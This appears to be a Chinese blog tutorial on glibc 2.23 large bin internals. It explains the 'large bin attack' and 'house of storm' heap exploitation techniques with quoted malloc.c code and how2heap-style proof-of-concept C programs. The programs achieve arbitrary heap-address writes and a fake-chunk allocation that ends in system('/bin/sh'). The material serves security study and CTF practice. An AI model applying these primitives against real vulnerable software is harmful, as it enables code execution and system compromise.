Large bin attack

0x01 large bin

Large bins 中一共包括 63 个 bin,index为64~126,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。(本文讨论的代码和结构都是在glibc2.23 64位的情况)

1.largebin的一些结构

在largebin的处理过程中会用到fd_next和bk_nextsize来加快chunk的处理。

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

下面的例子来看看glibc是如何处理largebin。

  1. 先创建了6个largebin chunk和一个0x90大小的chunk
  2. 将6个largebin chunk和一个普通chunk释放,chunk被放入unsorted bin中
  3. 申请0x40大小触发malloc_consolidate,largebin chunk被放入largebin中
//gcc largetest.c -o largetest -g
#include<stdio.h>
#include<stdlib.h>
int main()
{
//初始化
//malloc(0x10)防止合并
	void *ptr1,*ptr2,*ptr3,*ptr4,*ptr5,*ptr6;
	ptr1 = malloc(0x3f0);
	malloc(0x10);
	ptr2 = malloc(0x400);
	malloc(0x10);
	ptr3 = malloc(0x410);
	malloc(0x10);
	ptr4 = malloc(0x410);
	malloc(0x10);
	ptr5 = malloc(0x420);
	malloc(0x10);
	ptr6 = malloc(0x420);
	malloc(0x10);
	void *ptr = malloc(0x80);
	malloc(0x10);
//全部放入unsorted bin中
	free(ptr1);
	free(ptr2);
	free(ptr3);
	free(ptr4);
	free(ptr5);
	free(ptr6);
	free(ptr);
//触发malloc_consolidate
	malloc(0x40);
	return 0;
}

当执行完malloc(0x40)之后堆情况。chunk5->chunk6->chunk3->chunk4->chunk2->chunk1。查看chunk5,6的内存,只有chunk5的fd_nextsize和fd_nextsize被赋值。
在这里插入图片描述

大小对应相同index中的堆块,其在链表中的排序方式为:(参考下面链接2)

  1. 堆块从大到小排序。
  2. 对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsize与bk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fd与bk链接,形成了先释放的在链表后面的排序方式,且其fd_nextsize与bk_nextsize都为0。
  3. 不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。

2.largebin插入过程

glibc2-23 malloc.c第3532行到3592行。根据下面的几个if语句来阅读代码会更容易。

  1. 第一个if 。if (in_smallbin_range (size))判断是否为smallbin,如果是largebin进入else分支
  2. 第二个if。if (fwd != bck)判断当前的largebin链表是否为空,如果空直接跳转到victim->fd_nextsize = victim->bk_nextsize = victim;
  3. 第三个if。if ((unsigned long) (size) < (unsigned long) (bck->bk->size))判断是否小于当前largebin链表最小bin,如果是就插入到最后
  4. 最后一个部分先循环找到合适的bin->size链表
  5. 第四个if。if ((unsigned long) size == (unsigned long) fwd->size)判断合适的bin->size链表是否为空,如果为不为空插入第二个位置。如果为空则要设置fd_nextsize和bk_nextsize
  6. 最后对fd和bk进行设置
          /* place chunk in bin */

          if (in_smallbin_range (size))//如果chunk是largebin进入else分支
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)//判断该largebin是否为空
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))//如果小于链表中最小的bin
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else//如果大于链表中最大的bin
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)//找到大于等于的(bin->size)链表
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)//两个size相同表示该(bin->size)链表不为空
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {//该size对应的链表为空,导致下面的解链
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;//如果largebin链表为空,将fd_nextsize和bk_nextsize都设置为自己
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

总结来源(参考链接2)

  1. 找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd。
  2. 如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsize和fd_nextsize赋值为它本身。
  3. 如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。
  4. 如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。
  5. 如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。
    6.如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsize与bk_nextsize。

3.largebin取出过程

glibc2-23 malloc.c第3599行到3664行。

      /*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */

      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
		  //如果当前bin链表最大的victim->size大于等于要申请的大小(nb),则进入当前分支
		  //如果当前bin链表最大的victim->size小于要申请的大小(nb),则进入else分支
          if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb))
            {
              victim = victim->bk_nextsize;//取得最小bin
			  //循环找到一个victim大于等于需要的大小(nb)
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb)))
                victim = victim->bk_nextsize;

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
			//如果当前的bin->size链表是否有多个bin,如果有就取第二个
              if (victim != last (bin) && victim->size == victim->fd->size)
                victim = victim->fd;

              remainder_size = size - nb;
              unlink (av, victim, bck, fwd);

              /* Exhaust */
			  //剩余的部分小于MINSIZE,不能构成chunk则直接返回
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {//剩余部分放到unsortedbin中
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
	  if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

参考链接2

  1. 找到当前要申请的空间对应的largebin链表,判断第一个结点即最大结点的大小是否大于要申请的空间,如果小于则说明largebin中没有合适的堆块,需采用其他分配方式。
  2. 如果当前largebin中存在合适的堆块,则从最小堆块开始,通过bk_nextsize反向遍历链表,找到大于等于当前申请空间的结点。
  3. 为减少操作,判断找到的相应结点(堆头)的下个结点是否是相同大小的堆块,如果是的话,将目标设置为该堆头的第二个结点,以此减少将fd_nextsize与bk_nextsize赋值的操作。
  4. 调用unlink将目标largebin chunk从双链表中取下。
  5. 判断剩余空间是否小于MINSIZE,如果小于直接返回给用户。
  6. 否则将剩余的空间构成新的chunk放入到unsorted bin中。

0x02 largebin attack漏洞原理

1.利用条件和效果

条件:
1.存在UAF或者其他漏洞能够修改同一个largbin的bk和bk_nextsize
效果
2.任意地址写堆地址。(任意地址写大数)

2.how2heap简化

简化一下how2heap中largebin_attack的代码。

/*
    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
    [...]
              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;
    [...]
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
    For more details on how large-bins are handled and sorted by ptmalloc,
    please check the Background section in the aforementioned link.
    [...]
 */

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    unsigned long *p1 = malloc(0x100);
    malloc(0x20);//防止合并
    unsigned long *p2 = malloc(0x400);
    malloc(0x20);//防止合并
    unsigned long *p3 = malloc(0x410);
    malloc(0x20);//防止合并
 
    free(p1);
    free(p2);
//触发malloc_consolidate,之后p1的剩余部分在unsortedbin中,p2在largebin中
    malloc(0x40);
//将p3放入unsortedbin中
    free(p3);

    p2[0] = 0;//fd
    p2[1] = (unsigned long)(&stack_var1 - 2);//bk
	p2[2] = 0;//fd_nextsize
    p2[3] = (unsigned long)(&stack_var2 - 4);//bk_nextsize

    malloc(0x40);

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}

来分析一下这个代码干了啥

  1. 申请0x100 chunk(p1),用于后面分配0x40的chunk触发malloc_consolidate。两个不同大小的largebin chunk,p2和p3
  2. 释放p1和p2到unsortedbin中,申请0x40大小触发malloc_consolidate。p2进入largebin中
  3. 释放p3进入unsortedbin中
  4. 修改largebin中的p2->bk=(unsigned long)(&stack_var1 - 2),p2->bk_nextsize=(unsigned long)(&stack_var2 - 4)
  5. 申请0x40chunk触发malloc_consolidate,p3将要链入largebin中

由于p3->size大于p2->size,且p3->size对应的bin链表为空所以会进入下面两段代码。在将p3链入largebin中最关键的两段代码如下,漏洞也发生在下面代码中。。p3就是victim,p2就是fwd。第一段代码通过修改fwd的bk_nextsize来达到任意地址写入堆地址(大数)。
第二段代码通过修改fwd的bk来达到任意地址写入堆地址(大数)

else
{
     victim->fd_nextsize = fwd;
     victim->bk_nextsize = fwd->bk_nextsize;//这里
     fwd->bk_nextsize = victim;
     victim->bk_nextsize->fd_nextsize = victim;//这里发生修改
}

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

0x03 house of storm

这一节参考链接一

1.利用条件和效果

利用条件:

  1. 在largebin和unsorted bin中分别布置chunk,并且unsorted bin中的chunk->size要大于largebin中的。
  2. 能够控制unsorted_bin中的bk
  3. largebin中的bk和bk_nextsize

效果:任意地址分配chunk。

2.原理

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
    char chunk_head[0x10];
    char content[0x10];
}fake;

int main(void)
{
    unsigned long *large_bin,*unsorted_bin;
    unsigned long *fake_chunk;
    char *ptr;

    unsorted_bin=malloc(0x418);
    malloc(0X18);
    large_bin=malloc(0x408);
    malloc(0x18);

    free(large_bin);
    free(unsorted_bin);
    unsorted_bin=malloc(0x418);
    free(unsorted_bin);

    fake_chunk=((unsigned long)fake.content)-0x10;
    unsorted_bin[0]=0;
    unsorted_bin[1]=(unsigned long)fake_chunk;

    large_bin[0]=0;
    large_bin[1]=(unsigned long)fake_chunk+8;
    large_bin[2]=0;
    large_bin[3]=(unsigned long)fake_chunk-0x18-5;

    ptr=malloc(0x48);
    strncpy(ptr, "/bin/sh", 0x48 - 1);
    system(fake.content);
}

前面的操作步骤和largebin attack的过程差不多。都是先在unsortedbin和largebin进行chunk布置。
关键是为什么unsorted_bin和large_bin为什么要设置成这样。

else
{
     victim->fd_nextsize = fwd;//victim->fd_nextsize=0
     victim->bk_nextsize = fwd->bk_nextsize;//victim->bk_nextsize=fake_chunk-0x18-5
     fwd->bk_nextsize = victim;//
     victim->bk_nextsize->fd_nextsize = victim;//fake_chunk-0x18+0x18+5=victim。关键代码
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

关键代码处能向指定位置写入victim的位置,但是这里有偏移。如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,由于heap高位地址前两位一般为0x00,第三位为0x56或者0x55。可以向指定chunk构造size=0x55(类似mallock_hook偏移使用0x7f来当chunk->size来绕过校验,这里反过来用偏移来写入构造需要的size),由于victim->bk指向了fake_chunk,所以外循环处理unsortedbin的时候,由于我们申请的大小为0x48需要的0x50大小的chunk,正好合适就能取下该chunk。

0x04 总结

参考链接:
House of storm 原理及利用[1]
Largebin attack总结[2]
浅析largebin attack[3]

例题:
直接使用了house of storm。只是每次选择都会随机改变基地址,无法使用pwndbg中一些heap命令,增加了调试难度。
House of Storm[4]

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页